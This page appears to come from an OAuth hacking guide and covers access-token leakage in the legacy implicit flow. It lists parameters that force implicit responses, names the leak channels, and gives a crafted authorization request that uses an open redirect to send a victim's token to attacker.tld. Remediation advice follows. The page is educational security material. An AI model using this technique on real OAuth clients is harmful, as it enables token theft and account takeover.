OAuth Hacking: The Complete Guide to OAuth and OIDC Attacks
Implicit Flow Token Leakage
How the legacy OAuth implicit flow leaks access tokens from the URL fragment via browser history, location.hash, and logs, and how an open redirect steals them.
Published
The legacy implicit flow hands the access token to the browser in the URL fragment, where it is far more exposed than a server-side code exchange. Modern OAuth replaced it for exactly this reason. This page covers how the token leaks and how it is stolen. Practice on a free live target.
Tokens in the URL fragment
With response_type=token, the authorization server skips the code exchange and returns the access token directly, in the fragment of the redirect:
https://app.tld/callback#access_token=2YotnFZF...&token_type=Bearer&expires_in=3600The fragment (everything after #) is not sent in the initial request to the server, but it is fully visible in the browser, which is the problem.
Step 1: force or spot the implicit response
Check whether the server still honors implicit, or a toggle that reintroduces it:
response_type=token legacy implicit; token in the fragment
response_type=id_token token OIDC implicit (id_token + token, no code) to the browser
response_mode=fragment force the response into the fragment
response_mode=query force a token into the query string (then it hits logs/Referer directly)Step 2: find where the fragment leaks
A token in location.hash escapes through several channels:
browser history the whole URL including the fragment is stored
JavaScript any script on the page can read location.hash directly
client-side logs analytics / error reporting scripts that capture location.href
NOT the Referer browsers strip the fragment from the Referer header; that channel is query-string tokens onlyStep 3: exfiltrate via an open redirect
The fragment survives a redirect when the redirect target has no fragment of its own (true in current Chrome/Firefox), so an open redirect on the client ships the token to you. Send the victim through the flow aimed at the client's open redirect:
GET /authorize?response_type=token&client_id=app123&redirect_uri=https://app.tld/go?next=https://attacker.tld&state=xyz HTTP/1.1
Host: auth.example.comThe token lands at https://app.tld/go#access_token=..., the client's /go endpoint redirects to https://attacker.tld, the browser reattaches the fragment, and the token arrives at https://attacker.tld/#access_token=..., where your page reads it from location.hash.
Edge variants
response_type=code token hybrid: a token leaks alongside the code
response_mode=form_post POSTs the token back; sometimes skips a check the others enforce
history-only leak no open redirect, but a shared or logged machine exposes the tokenWhy the code flow replaced implicit
The authorization code flow never puts a token in the browser: the browser only ever holds a short-lived, single-use code that is useless without the back-channel exchange (and PKCE). RFC 9700 says to avoid implicit for this reason. Finding response_type=token still accepted is usually a finding.
Fixing it
- Drop implicit and hybrid. Use authorization code with PKCE so no token reaches the URL.
- Remove open redirects, especially on OAuth client hosts, which turn any fragment into an exfiltration channel.
- Keep tokens out of URLs entirely, including
response_mode=query.
Full guidance is in preventing OAuth attacks. Next, take over accounts through linking in account linking abuse, or try a fragment leak on a free lab.
← Back to OAuth Hacking: The Complete Guide to OAuth and OIDC Attacks